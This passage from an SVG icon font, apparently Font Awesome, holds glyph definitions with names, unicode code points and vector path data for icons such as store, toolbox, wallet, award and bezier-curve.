c-4.40039 0 -8 -3.59961 -8 -8v-56h-64v56c0 4.40039 -3.59961 8 -8 8h-16c-4.40039 0 -8 -3.59961 -8 -8v-56h-77.7002c-9.7002 0 -17.0996 8.59961 -15.7002 18.2002l9.40039 66.2002c1.7002 11.7998 -3.90039 23 -13.5 29.8994
c-57.5996 41.1006 -94.5 103.601 -94.5 173.7c0 123.7 114.6 224 256 224zM160 128c35.2998 0 64 28.7002 64 64s-28.7002 64 -64 64s-64 -28.7002 -64 -64s28.7002 -64 64 -64zM352 128c35.2998 0 64 28.7002 64 64s-28.7002 64 -64 64s-64 -28.7002 -64 -64
s28.7002 -64 64 -64z" />
    <glyph glyph-name="smoking-ban" unicode="&#xf54d;" 
d="M96 144v64c0 8.7998 7.2002 16 16 16h21.5l96 -96h-117.5c-8.7998 0 -16 7.2002 -16 16zM256 448c141.4 0 256 -114.6 256 -256s-114.6 -256 -256 -256s-256 114.6 -256 256s114.6 256 256 256zM256 0c41.4004 0 79.7002 13.2998 111.1 35.7002l-267.399 267.399
c-22.4004 -31.3994 -35.7002 -69.6992 -35.7002 -111.1c0 -105.9 86.0996 -192 192 -192zM301.2 192l32 -32h50.7998v32h-82.7998zM412.3 80.9004c22.4004 31.3994 35.7002 69.6992 35.7002 111.1c0 105.9 -86.0996 192 -192 192
c-41.4004 0 -79.7002 -13.2998 -111.1 -35.7002l124.3 -124.3h130.8c8.7998 0 16 -7.2002 16 -16v-64c0 -8.7998 -7.2002 -16 -16 -16h-34.7998zM320.6 320c32.1006 0 58.7002 -23.7002 63.3008 -54.5996c0.699219 -4.90039 -3 -9.40039 -8 -9.40039h-16.2002
c-3.7002 0 -7 2.5 -7.7002 6.09961c-2.7998 14.7002 -15.7998 25.9004 -31.4004 25.9004c-32.0996 0 -58.6992 23.7002 -63.2998 54.5996c-0.700195 4.90039 3 9.40039 8 9.40039h16.2002c3.7002 0 7 -2.5 7.7002 -6.09961
c2.7998 -14.7002 15.7998 -25.9004 31.3994 -25.9004z" />
    <glyph glyph-name="store" unicode="&#xf54e;" horiz-adv-x="616" 
d="M602 329.4c33.5996 -53.6006 3.7998 -128 -59 -136.4c-4.5 -0.599609 -9 -0.900391 -13.7002 -0.900391c-29.5 0 -55.7002 13 -73.7998 33.1006c-18 -20.1006 -44.2002 -33.1006 -73.7998 -33.1006c-29.5 0 -55.7998 13 -73.7998 33.1006
c-18 -20.1006 -44.2002 -33.1006 -73.8008 -33.1006c-29.5 0 -55.7998 13 -73.7998 33.1006c-18 -20.1006 -44.2002 -33.1006 -73.7998 -33.1006c-4.59961 0 -9.2002 0.300781 -13.7002 0.900391c-62.5996 8.5 -92.2998 82.9004 -58.7998 136.4l64.9004 103.6
c5.7998 9.2998 16.0996 15 27.0996 15h404c11 0 21.2998 -5.7002 27.0996 -15zM529.5 160c6.09961 0 12.0996 0.400391 18.2002 1.2002c5.59961 0.700195 11 2 16.3994 3.59961v-196.8c0 -17.7002 -14.2998 -32 -32 -32h-448c-17.6992 0 -32 14.2998 -32 32v196.8
c5.30078 -1.5 10.8008 -2.7998 16.4004 -3.59961c5.90039 -0.799805 12 -1.2002 18 -1.2002c10 0 19.9004 1.59961 29.5 3.7998v-99.7998h384v99.7998c9.59961 -2.2998 19.5 -3.7998 29.5 -3.7998z" />
    <glyph glyph-name="store-alt" unicode="&#xf54f;" horiz-adv-x="640" 
d="M320 64v160h64v-256c0 -17.7002 -14.2998 -32 -32 -32h-256c-17.7002 0 -32 14.2998 -32 32v256h64v-160h192zM634.6 305.8c14.1006 -21.2998 -1.09961 -49.7998 -26.5996 -49.7998h-575.9c-25.5996 0 -40.7998 28.5 -26.5996 49.7998l85.2998 128
c5.90039 8.90039 15.9004 14.2002 26.6006 14.2002h405.199c10.7002 0 20.7002 -5.2998 26.7002 -14.2002zM512 -48v272h64v-272c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16z" />
    <glyph glyph-name="stream" unicode="&#xf550;" 
d="M16 320c-8.83984 0 -16 7.16016 -16 16v64c0 8.83984 7.16016 16 16 16h416c8.83984 0 16 -7.16016 16 -16v-64c0 -8.83984 -7.16016 -16 -16 -16h-416zM496 240c8.83984 0 16 -7.16016 16 -16v-64c0 -8.83984 -7.16016 -16 -16 -16h-416c-8.83984 0 -16 7.16016 -16 16
v64c0 8.83984 7.16016 16 16 16h416zM432 64c8.83984 0 16 -7.16016 16 -16v-64c0 -8.83984 -7.16016 -16 -16 -16h-416c-8.83984 0 -16 7.16016 -16 16v64c0 8.83984 7.16016 16 16 16h416z" />
    <glyph glyph-name="stroopwafel" unicode="&#xf551;" 
d="M188.12 237.26l45.25 -45.2598l-45.2598 -45.25l-45.25 45.25zM301.25 259.88l-45.25 -45.25l-45.25 45.2598l45.25 45.25zM210.75 124.12l45.25 45.25l45.2598 -45.25l-45.2598 -45.2598zM256 448c141.38 0 256 -114.62 256 -256s-114.62 -256 -256 -256
s-256 114.62 -256 256s114.62 256 256 256zM442.68 152.4c1.29199 1.29492 2.34082 3.83008 2.34082 5.65918c0 1.83008 -1.04883 4.36523 -2.34082 5.66016l-28.29 28.2803l28.2705 28.3096c3.12012 3.12012 3.12012 8.19043 0 11.3105l-11.3105 11.3096
c-3.11914 3.12012 -8.18945 3.12012 -11.3096 0l-28.29 -28.29l-45.25 45.2607l33.9404 33.9395l16.9697 -16.9697c3.12012 -3.12012 8.18945 -3.12012 11.3096 0l11.3105 11.3096c3.12012 3.12012 3.12012 8.19043 0 11.3105l-16.9707 16.9697l16.9707 16.9697
c3.12012 3.12012 3.12012 8.19043 0 11.3105l-11.3105 11.3096c-3.12012 3.12012 -8.18945 3.12012 -11.3096 0l-16.9697 -16.9697l-16.9707 16.9697c-3.12012 3.12012 -8.18945 3.12012 -11.3096 0l-11.3105 -11.3096c-3.11914 -3.12012 -3.11914 -8.19043 0 -11.3105
l16.9707 -16.9697l-33.9404 -33.9404l-45.2598 45.25l28.29 28.29c3.12012 3.12012 3.12012 8.19043 0 11.3105l-11.3105 11.3096c-3.11914 3.12012 -8.18945 3.12012 -11.3096 0l-28.29 -28.29l-28.3096 28.2705c-3.12012 3.12012 -8.19043 3.12012 -11.3105 0
l-11.3096 -11.3105c-3.12012 -3.11914 -3.12012 -8.18945 0 -11.3096l28.29 -28.29l-45.2607 -45.25l-33.9395 33.9404l16.9697 16.9697c3.12012 3.12012 3.12012 8.18945 0 11.3096l-11.3096 11.3105c-3.12012 3.12012 -8.19043 3.12012 -11.3105 0l-16.9697 -16.9707
l-16.9697 16.9707c-3.12012 3.12012 -8.19043 3.12012 -11.3105 0l-11.3096 -11.3105c-3.12012 -3.12012 -3.12012 -8.18945 0 -11.3096l16.9697 -16.9697l-16.9697 -16.9707c-3.12012 -3.12012 -3.12012 -8.18945 0 -11.3096l11.3096 -11.3105
c3.12012 -3.11914 8.19043 -3.11914 11.3105 0l16.9697 16.9707l33.9404 -33.9404l-45.25 -45.2598l-28.29 28.29c-3.12012 3.12012 -8.19043 3.12012 -11.3105 0l-11.3096 -11.3105c-3.12012 -3.11914 -3.12012 -8.18945 0 -11.3096l28.29 -28.29l-28.29 -28.29
c-3.12012 -3.12012 -3.12012 -8.19043 0 -11.3096l11.3398 -11.3301c3.12012 -3.12012 8.18945 -3.12012 11.3096 0l28.29 28.29l45.25 -45.25l-33.9395 -33.9404l-16.9707 16.9697c-3.11914 3.12012 -8.18945 3.12012 -11.3096 0l-11.3096 -11.3096
c-3.12012 -3.12012 -3.12012 -8.19043 0 -11.3105l16.9697 -16.9697l-16.9697 -16.9697c-3.12012 -3.12012 -3.12012 -8.19043 0 -11.3105l11.3096 -11.3096c3.12012 -3.12012 8.19043 -3.12012 11.3096 0l16.9707 16.9697l16.9697 -16.9697
c3.12012 -3.12012 8.19043 -3.12012 11.3096 0l11.3105 11.3096c3.12012 3.12012 3.12012 8.19043 0 11.3105l-16.9697 16.9697l33.9395 33.9404l45.25 -45.2598l-28.29 -28.29c-3.12012 -3.12012 -3.12012 -8.19043 0 -11.3105l11.3105 -11.3096
c3.11914 -3.12012 8.18945 -3.12012 11.3096 0l28.29 28.29l28.3096 -28.2705c3.12012 -3.12012 8.19043 -3.12012 11.3105 0l11.3096 11.3105c3.12012 3.11914 3.12012 8.18945 0 11.3096l-28.29 28.29l45.2607 45.2598l33.9395 -33.9395l-16.9697 -16.9707
c-3.12012 -3.11914 -3.12012 -8.18945 0 -11.3096l11.3096 -11.3096c3.12012 -3.12012 8.19043 -3.12012 11.3105 0l16.9697 16.9697l16.9697 -16.9697c3.12012 -3.12012 8.19043 -3.12012 11.3105 0l11.3096 11.3096c3.12012 3.12012 3.12012 8.19043 0 11.3096
l-16.9697 16.9707l16.9697 16.9697c3.12012 3.12012 3.12012 8.19043 0 11.3096l-11.3096 11.3105c-3.12012 3.12012 -8.19043 3.12012 -11.3105 0l-16.9697 -16.9697l-33.9404 33.9395l45.25 45.25l28.29 -28.29c3.12012 -3.12012 8.19043 -3.12012 11.3105 0zM278.63 192
l45.2598 45.2598l45.25 -45.2598l-45.25 -45.25z" />
    <glyph glyph-name="toolbox" unicode="&#xf552;" 
d="M502.63 233.37c6 -6 9.37012 -14.1396 9.37012 -22.6201v-82.75h-128v16c0 8.83984 -7.16016 16 -16 16h-32c-8.83984 0 -16 -7.16016 -16 -16v-16h-128v16c0 8.83984 -7.16016 16 -16 16h-32c-8.83984 0 -16 -7.16016 -16 -16v-16h-128v82.7402
c0 8.49023 3.37012 16.6299 9.37012 22.6299l45.25 45.2598c6.00977 6 14.1396 9.37012 22.6299 9.37012h50.75v80c0 26.5098 21.4902 48 48 48h160c26.5098 0 48 -21.4902 48 -48v-80.0098h50.75c8.49023 0 16.6299 -3.37012 22.6299 -9.37012zM320 288v64h-128v-64h128z
M384 80v16h128v-96c0 -17.6699 -14.3301 -32 -32 -32h-448c-17.6699 0 -32 14.3301 -32 32v96h128v-16c0 -8.83984 7.16016 -16 16 -16h32c8.83984 0 16 7.16016 16 16v16h128v-16c0 -8.83984 7.16016 -16 16 -16h32c8.83984 0 16 7.16016 16 16z" />
    <glyph glyph-name="tshirt" unicode="&#xf553;" horiz-adv-x="640" 
d="M631.2 351.5c7.89941 -3.90039 11.0996 -13.5996 7.09961 -21.5l-57.2998 -114.4c-4 -8 -13.5996 -11.1992 -21.5 -7.19922l-56.5996 27.6992c-10.6006 5.2002 -23 -2.59961 -23 -14.3994v-253.7c0 -17.7002 -14.3008 -32 -32 -32h-256c-17.7002 0 -32 14.2998 -32 32
v253.6c0 11.9004 -12.4004 19.6006 -23 14.4004l-56.6006 -27.7002c-7.89941 -3.89941 -17.5 -0.700195 -21.5 7.2002l-57.2002 114.5c-3.89941 7.90039 -0.699219 17.5 7.2002 21.5l194.7 96.5c20.0996 -27.7998 64.5996 -47.2002 116.5 -47.2002
s96.4004 19.4004 116.5 47.2002z" />
    <glyph glyph-name="walking" unicode="&#xf554;" horiz-adv-x="320" 
d="M208 352c-26.5 0 -48 21.5 -48 48s21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48zM302.5 202.9c15.7002 -7.90039 22 -27.3008 14.2998 -43c-7.89941 -15.8008 -26.8994 -22.2002 -42.5 -14.3008l-23.2998 11.8008c-15 7.59961 -26.4004 20.8994 -31.7002 37
l-5.5 16.5l-17.2002 -68.7002l45.5 -49.7002c7.2002 -7.7998 12.3008 -17.4004 14.9004 -27.7002l22.2002 -89c4.2998 -17.0996 -6.2002 -34.5 -23.2998 -38.7998c-17.1006 -4.2998 -34.5 6.2002 -38.8008 23.2998l-18.2998 73.2998
c-2.59961 10.3008 -7.7002 19.8008 -14.8994 27.7002l-59.9004 65.4004c-14.5 15.8994 -20.0996 38 -14.9004 58.7998l15.2002 60.7002l-26.7998 -10.7998c-7.2002 -2.90039 -13 -8.40039 -16.5 -15.4004l-6.7002 -13.5996
c-7.89941 -15.8008 -26.8994 -22.2002 -42.5 -14.3008c-15.7002 7.90039 -22 27.1006 -14.2002 42.9004l6.7002 13.5996c10.4004 21 28.1006 37.5 49.7002 46.2002c37.4004 15.1006 57.2998 25.2998 93.2998 25.2002c46.5 -0.0996094 87.5 -31.2998 102.2 -75.9004
l9.7002 -29.3994zM73.5996 62.2002l20.7002 51.5c8.7002 -11.9004 -7.89941 6.59961 47.4004 -53.7002l-13.5 -33.7998c-3.2998 -8.10059 -8.10059 -15.4004 -14.2002 -21.5l-59.4004 -59.4004c-12.5 -12.5 -32.6992 -12.5 -45.1992 0s-12.5 32.7998 0 45.2998l50 50.1006
c6.19922 6.09961 11 13.3994 14.1992 21.5z" />
    <glyph glyph-name="wallet" unicode="&#xf555;" 
d="M461.2 320c28.0195 0 50.7998 -21.5303 50.7998 -48v-256c0 -26.4697 -22.7803 -48 -50.7998 -48h-397.2c-35.3496 0 -64 28.6504 -64 64v320c0 35.3496 28.6504 64 64 64h368c26.5098 0 48 -21.4902 48 -48c0 -8.83984 -7.16016 -16 -16 -16h-384
c-8.83984 0 -16 -7.16016 -16 -16s7.16016 -16 16 -16h381.2zM416 112c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" />
    <glyph glyph-name="angry" unicode="&#xf556;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM136 208c0 -17.7002 14.4004 -32 32.0996 -32c17.7002 0 32 14.2998 32 32c0 2.90039 -1 5.5 -1.69922 8.2002c0.599609 0 1.19922 -0.200195 1.69922 -0.200195
c6.90039 0 13.2002 4.5 15.3008 11.4004c2.59961 8.39941 -2.2002 17.3994 -10.7002 19.8994l-80 24c-8.5 2.5 -17.4004 -2.2002 -19.9004 -10.7002c-2.59961 -8.39941 2.2002 -17.3994 10.7002 -19.8994l31 -9.2998c-6.40039 -5.90039 -10.5 -14.1006 -10.5 -23.4004z
M304 53.7998c13.4004 -16.0996 38.2998 4 24.5 20.5c-20 24 -49.4004 37.7998 -80.5996 37.7998c-31.2002 0 -60.6006 -13.7998 -80.6006 -37.7998c-13.5996 -16.2998 11.1006 -36.7998 24.6006 -20.5c27.8994 33.4004 84.2998 33.4004 112.1 0zM380.6 240.7
c8.5 2.5 13.3008 11.3994 10.8008 19.8994c-2.5 8.40039 -11.5 13.2002 -19.9004 10.7002l-80 -24c-8.40039 -2.5 -13.2002 -11.3994 -10.7002 -19.8994c2.10059 -6.90039 8.40039 -11.4004 15.2998 -11.4004c0.600586 0 1.10059 0.0996094 1.7002 0.200195
c-0.799805 -2.60059 -1.7002 -5.2998 -1.7002 -8.2002c0 -17.7002 14.3008 -32 32 -32c17.7002 0 32 14.2998 32 32c0 9.2998 -4.19922 17.5996 -10.5 23.4004z" />
    <glyph glyph-name="archway" unicode="&#xf557;" horiz-adv-x="576" 
d="M560 0c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-159.98c-8.83984 0 -16 7.16016 -16 16v16l-0.0195312 160c0 53.0195 -42.9805 96 -96 96s-96 -42.9805 -96 -96v-176c0 -8.83984 -7.16016 -16 -16 -16h-159.98
c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h15.9805v352h512v-352h16zM560 448c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-544c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h544z" />
    <glyph glyph-name="atlas" unicode="&#xf558;" horiz-adv-x="448" 
d="M318.38 240c-5.28027 -31.2197 -25.5898 -57.1699 -53.2998 -70.4102c7.66992 19.0605 12.7197 43.3799 14.21 70.4102h39.0898zM318.38 272h-39.0898c-1.49023 27.0303 -6.53027 51.3496 -14.21 70.4102c27.71 -13.2402 48.0098 -39.1904 53.2998 -70.4102zM224 350.69
c7.69043 -7.4502 20.7695 -34.4307 23.4404 -78.6904h-46.8701c2.66016 44.2695 15.7393 71.2402 23.4297 78.6904zM182.92 342.41c-7.67969 -19.0605 -12.7197 -43.3799 -14.21 -70.4102h-39.0898c5.28027 31.2197 25.5898 57.1699 53.2998 70.4102zM182.92 169.59
c-27.71 13.2402 -48.0195 39.1904 -53.2998 70.4102h39.0898c1.49023 -27.0303 6.53027 -51.3496 14.21 -70.4102zM247.43 240c-2.66016 -44.2598 -15.7393 -71.2402 -23.4395 -78.6904c-7.69043 7.4502 -20.7705 34.4307 -23.4307 78.6904h46.8701zM448 89.5996
c0 -9.59961 -3.2002 -16 -9.59961 -19.1992c-3.2002 -12.8008 -3.2002 -57.6006 0 -73.6006c6.39941 -6.39941 9.59961 -12.7998 9.59961 -19.2002v-16c0 -16 -12.7998 -25.5996 -25.5996 -25.5996h-326.4c-54.4004 0 -96 41.5996 -96 96v320c0 54.4004 41.5996 96 96 96
h326.4c16 0 25.5996 -9.59961 25.5996 -25.5996v-332.801zM224 384c-70.6904 0 -128 -57.3096 -128 -128s57.3096 -128 128 -128s128 57.3096 128 128s-57.3096 128 -128 128zM384 0v64h-288c-16 0 -32 -12.7998 -32 -32s12.7998 -32 32 -32h288z" />
    <glyph glyph-name="award" unicode="&#xf559;" horiz-adv-x="384" 
d="M97.1201 85.3701c13.79 -13.7803 32.1104 -21.3701 51.6104 -21.3701c12.4395 0 24.4697 3.54004 35.3096 9.58008l-52.0498 -127.62c-4.39062 -10.7695 -18.4307 -13.4004 -26.4307 -4.95996l-36.2393 38.2803l-52.6904 -2.01074
c-11.6201 -0.439453 -19.8203 11.2607 -15.4297 22.0303l45.3701 111.24c7.55957 -5.87012 15.9199 -10.7705 25.4297 -13.3203c20.96 -5.60938 16.4297 -3.16016 25.1201 -11.8496zM382.8 -0.700195c4.39062 -10.7598 -3.80957 -22.4697 -15.4297 -22.0303
l-52.6904 2.01074l-36.25 -38.2803c-7.98926 -8.44043 -22.04 -5.80957 -26.4297 4.95996l-52.0498 127.62c10.8398 -6.03027 22.8701 -9.58008 35.3096 -9.58008c19.5 0 37.8301 7.58984 51.6201 21.3701c8.66992 8.66992 4.0498 6.20996 25.1201 11.8496
c9.50977 2.5498 17.8701 7.44043 25.4297 13.3203zM263 108c-13.2305 -13.4697 -33.8398 -15.8799 -49.7305 -5.82031c-5.37305 3.41211 -14.8994 6.18066 -21.2646 6.18066c-6.36426 0 -15.8916 -2.76855 -21.2646 -6.18066
c-15.9004 -10.0596 -36.5098 -7.64941 -49.7402 5.82031c-14.7305 15 -16.4004 14.04 -38.7803 20.1396c-13.8896 3.79004 -24.75 14.8408 -28.4697 28.9805c-7.48047 28.3994 -5.54004 24.9697 -25.9502 45.75c-10.1699 10.3604 -14.1396 25.4502 -10.4199 39.5898
c7.48047 28.4199 7.46973 24.46 0 52.8203c-3.72949 14.1396 0.25 29.2295 10.4199 39.5801c20.4102 20.7793 18.4805 17.3594 25.9502 45.75c3.71973 14.1396 14.5801 25.1895 28.4697 28.9795c27.8906 7.61035 24.5303 5.62988 44.9404 26.4102
c10.1699 10.3604 25 14.4004 38.8896 10.6104c27.9199 -7.61035 24.0303 -7.60059 51.9004 0c13.8896 3.79004 28.7197 -0.260742 38.8896 -10.6104c20.4297 -20.79 17.0703 -18.7998 44.9502 -26.4102c13.8896 -3.79004 24.75 -14.8398 28.4697 -28.9795
c7.48047 -28.3906 5.54004 -24.9707 25.9502 -45.75c10.1699 -10.3506 14.1396 -25.4404 10.4199 -39.5801c-7.47949 -28.4102 -7.46973 -24.4502 0 -52.8301c3.71973 -14.1406 -0.25 -29.2305 -10.4199 -39.5801c-20.4102 -20.7803 -18.4697 -17.3506 -25.9502 -45.75
c-3.71973 -14.1396 -14.5801 -25.1904 -28.4697 -28.9805c-21.7598 -5.92969 -23.5098 -4.58984 -38.79 -20.1396zM97.6602 272.04c0 -53.0303 42.2402 -96.0205 94.3398 -96.0205s94.3398 42.9902 94.3398 96.0205s-42.2402 96.0195 -94.3398 96.0195
s-94.3398 -42.9893 -94.3398 -96.0195z" />
    <glyph glyph-name="backspace" unicode="&#xf55a;" horiz-adv-x="640" 
d="M576 384c35.3496 0 64 -28.6504 64 -64v-256c0 -35.3496 -28.6504 -64 -64 -64h-370.75c-16.9697 0 -33.25 6.75 -45.25 18.75l-150.63 150.63c-12.5 12.4902 -12.5 32.75 0 45.25l150.63 150.62c10.3438 10.3496 30.6143 18.75 45.2471 18.75h0.0126953h370.74z
M491.31 129.94l-62.0596 62.0596l62.0596 62.0596c6.25 6.25 6.25 16.3809 0 22.6309l-22.6191 22.6191c-6.25 6.25 -16.3809 6.25 -22.6309 0l-62.0596 -62.0596l-62.0596 62.0596c-6.25 6.25 -16.3809 6.25 -22.6309 0l-22.6191 -22.6191
c-6.25 -6.25 -6.25 -16.3809 0 -22.6309l62.0596 -62.0596l-62.0596 -62.0596c-6.25 -6.25 -6.25 -16.3809 0 -22.6309l22.6191 -22.6191c6.25 -6.25 16.3809 -6.25 22.6309 0l62.0596 62.0596l62.0596 -62.0596c6.25 -6.25 16.3809 -6.25 22.6309 0l22.6191 22.6191
c6.25 6.25 6.25 16.3809 0 22.6309z" />
    <glyph glyph-name="bezier-curve" unicode="&#xf55b;" horiz-adv-x="640" 
d="M368 416c17.6699 0 32 -14.3301 32 -32v-96c0 -17.6699 -14.3301 -32 -32 -32h-96c-17.6699 0 -32 14.3301 -32 32v96c0 17.6699 14.3301 32 32 32h96zM208 360v-72c0 -9.4502 2.17969 -18.3604 5.87988 -26.4404c-34.2695 -24.3496 -59.7402 -59.9492 -71.04 -101.56
h-49.3994c13.6797 64.6797 54.1699 119.48 109.54 152h-79.7305c-9.5 -23.4404 -32.4102 -40 -59.25 -40c-35.3398 0 -64 28.6504 -64 64s28.6602 64 64 64c26.8398 0 49.75 -16.5596 59.25 -40h84.75zM160 128c17.6699 0 32 -14.3301 32 -32v-96
c0 -17.6699 -14.3301 -32 -32 -32h-96c-17.6699 0 -32 14.3301 -32 32v96c0 17.6699 14.3301 32 32 32h96zM576 400c35.3398 0 64 -28.6504 64 -64s-28.6602 -64 -64 -64c-26.8398 0 -49.75 16.5596 -59.25 40h-79.7305c55.3701 -32.5195 95.8604 -87.3203 109.54 -152
h-49.3994c-11.2998 41.6104 -36.7705 77.21 -71.04 101.56c3.68945 8.08008 5.87988 16.9902 5.87988 26.4404v72h84.75c9.5 23.4404 32.4102 40 59.25 40zM576 128c17.6699 0 32 -14.3301 32 -32v-96c0 -17.6699 -14.3301 -32 -32 -32h-96c-17.6699 0 -32 14.3301 -32 32
v96c0 17.6699 14.3301 32 32 32h96z" />
    <glyph glyph-name="bong" unicode="&#xf55c;" horiz-adv-x="448" 
d="M302.5 -64h-221c-23.1699 0 -44.4199 12.5801 -56 32.6602c-16.1904 28.0703 -25.5 60.5898 -25.5 95.3398c0 71.0303 38.6699 132.9 96 166.11v153.93l-15.9697 -0.0205078c-8.85059 -0.00976562 -16.0303 7.16016 -16.0205 16.0107l0.0400391 31.7295
c0.00976562 8.82031 7.16016 15.9707 15.9805 15.9805l223.939 0.259766c8.85059 0.00976562 16.0303 -7.16992 16.0205 -16.0195l-0.0400391 -31.7207c-0.00976562 -8.81934 -7.16016 -15.9697 -15.9805 -15.9795l-15.9697 -0.0205078v-154.16
c14.1201 -8.17969 27.0898 -18.1396 38.6504 -29.5098l39.4092 39.4102l-9.37988 9.37988c-6.25 6.25 -6.25 16.3799 0 22.6299l11.3105 11.3105c6.25 6.25 16.3799 6.25 22.6299 0l52.6895 -52.6904c6.25 -6.25 6.25 -16.3799 0 -22.6299l-11.2998 -11.3203
c-6.25 -6.25 -16.3799 -6.25 -22.6299 0l-9.37988 9.37988l-43.4404 -43.4395c17.3604 -28.8105 27.4404 -62.5 27.4404 -98.6201c0 -34.75 -9.30957 -67.2598 -25.5 -95.3398c-11.5703 -20.0801 -32.8203 -32.6602 -56 -32.6602zM120.06 188.57
c-24.8096 -14.3701 -44.1094 -35.7305 -56.5596 -60.5703h257c-12.4404 24.8398 -31.75 46.2002 -56.5596 60.5703l-23.9404 13.8701v181.76l-96 -0.110352v-181.649z" />
    <glyph glyph-name="brush" unicode="&#xf55d;" horiz-adv-x="384" 
d="M352 448c17.6699 0 32 -14.3301 32 -32v-224h-384v224c0 17.6699 14.3301 32 32 32h320zM0 128v32h384v-32c0 -35.3496 -28.6602 -64 -64 -64h-64v-64c0 -35.3496 -28.6602 -64 -64 -64s-64 28.6504 -64 64v64h-64c-35.3398 0 -64 28.6504 -64 64zM192 24
c-13.25 0 -24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24s24 10.75 24 24c0 13.2598 -10.75 24 -24 24z" />
    <glyph glyph-name="bus-alt" unicode="&#xf55e;" 
d="M488 320c13.25 0 24 -10.7402 24 -24v-80c0 -13.25 -10.75 -24 -24 -24h-8v-166.4c0 -12.7998 -9.59961 -25.5996 -25.5996 -25.5996h-6.40039v-32c0 -17.6699 -14.3301 -32 -32 -32h-32c-17.6699 0 -32 14.3301 -32 32v32h-192v-32c0 -17.6699 -14.3301 -32 -32 -32h-32
c-17.6699 0 -32 14.3301 -32 32v32c-17.6699 0 -32 14.3301 -32 32v160h-8c-13.25 0 -24 10.75 -24 24v80c0 13.2598 10.75 24 24 24h8v48c0 44.7998 99.2002 80 224 80s224 -35.2002 224 -80v-48h8zM160 376v-16c0 -4.41992 3.58008 -8 8 -8h176c4.41992 0 8 3.58008 8 8
v16c0 4.41992 -3.58008 8 -8 8h-176c-4.41992 0 -8 -3.58008 -8 -8zM112 48c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM240 160v160h-112c-17.6699 0 -32 -14.3301 -32 -32v-96c0 -17.6699 14.3301 -32 32 -32h112zM272 160
h112c17.6699 0 32 14.3301 32 32v96c0 17.6699 -14.3301 32 -32 32h-112v-160zM400 48c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" />
    <glyph glyph-name="cannabis" unicode="&#xf55f;" 
d="M503.47 87.75c5.24023 -2.75977 8.52051 -8.20996 8.53027 -14.1504c0.00976562 -5.92969 -3.26953 -11.3691 -8.50977 -14.1494c-2.4502 -1.29004 -60.7705 -31.7197 -133.49 -31.7197c-6.12988 0 -11.96 0.0996094 -17.5 0.30957
c11.3604 -22.2305 16.5195 -38.3096 16.8096 -39.2197c1.80078 -5.68066 0.290039 -11.8906 -3.90918 -16.1104c-2.5918 -2.60059 -7.67578 -4.71094 -11.3467 -4.71094c-1.34277 0 -3.47168 0.322266 -4.75391 0.720703c-1.83008 0.580078 -37.7197 11.9902 -77.2998 39.29
v-64.0098c0 -4.41992 -3.58008 -8 -8 -8h-16c-4.41992 0 -8 3.58008 -8 8v64.0195c-39.5801 -27.2998 -75.4697 -38.7197 -77.2998 -39.2891c-1.28223 -0.398438 -3.41113 -0.72168 -4.75391 -0.72168c-3.6709 0 -8.75488 2.11035 -11.3467 4.71094
c-4.19922 4.2207 -5.70996 10.4307 -3.90918 16.1104c0.290039 0.910156 5.43945 16.9902 16.8096 39.2197c-5.54004 -0.209961 -11.3604 -0.30957 -17.5 -0.30957c-72.7305 0 -131.04 30.4297 -133.49 31.7197c-4.69629 2.48926 -8.50879 8.82422 -8.50879 14.1396
c0 5.32422 3.82129 11.6641 8.5293 14.1504c1.56934 0.820312 32.3896 16.8896 76.7793 25.8096c-64.25 75.1201 -84.0498 161.671 -84.9297 165.641c-0.210938 0.947266 -0.382812 2.50488 -0.382812 3.47559c0 3.65039 2.09375 8.71094 4.67285 11.2939
c3.03027 3.04004 7.12012 4.7002 11.3203 4.7002c1.14941 0 2.2998 -0.129883 3.43945 -0.379883c3.89062 -0.860352 86.5508 -19.5996 160.58 -79.7598c0 1.45996 -0.00976562 2.92969 -0.00976562 4.39941c0 118.79 59.9805 213.721 62.5303 217.7
c2.93945 4.58984 8.01953 7.37012 13.4697 7.37012h0.00195312c4.82812 0 10.8574 -3.30176 13.458 -7.37012c2.5498 -3.97949 62.5303 -98.9102 62.5303 -217.7c0 -1.46973 0 -2.93945 -0.00976562 -4.39941c74.0391 60.1699 156.699 78.9102 160.579 79.7598
c1.15039 0.259766 2.30078 0.379883 3.44043 0.379883c4.2002 0 8.29004 -1.66016 11.3203 -4.7002c3.85938 -3.87012 5.47949 -9.43945 4.2998 -14.7695c-0.879883 -3.96973 -20.6797 -90.5205 -84.9297 -165.641c44.3896 -8.91992 75.2197 -24.9893 76.7793 -25.8096z" />
    <glyph glyph-name="check-double" unicode="&#xf560;" 
d="M505 273.2c9.2998 -9.2998 9.2998 -24.5 -0.0996094 -34l-296 -296.2c-9.30078 -9.40039 -24.5 -9.40039 -33.9004 0l-168 168.1c-9.40039 9.40039 -9.40039 24.6006 0 34l39.7002 39.7002c9.2998 9.40039 24.5 9.40039 33.8994 0l111.4 -111.5l239.5 239.5
c9.2998 9.40039 24.5 9.40039 33.9004 0zM180.7 167.2l-112 112.2c-6.2002 6.19922 -6.2002 16.2998 0 22.5996l45.2998 45.2998c6.2002 6.2998 16.4004 6.2998 22.5996 0l55.4004 -55.5l151.5 151.5c6.2002 6.2998 16.4004 6.2998 22.5996 0l45.2002 -45.2998
c6.2002 -6.2002 6.2002 -16.2998 0 -22.5996l-208 -208.2c-6.2002 -6.2998 -16.3994 -6.2998 -22.5996 0z" />
    <glyph glyph-name="cocktail" unicode="&#xf561;" horiz-adv-x="576" 
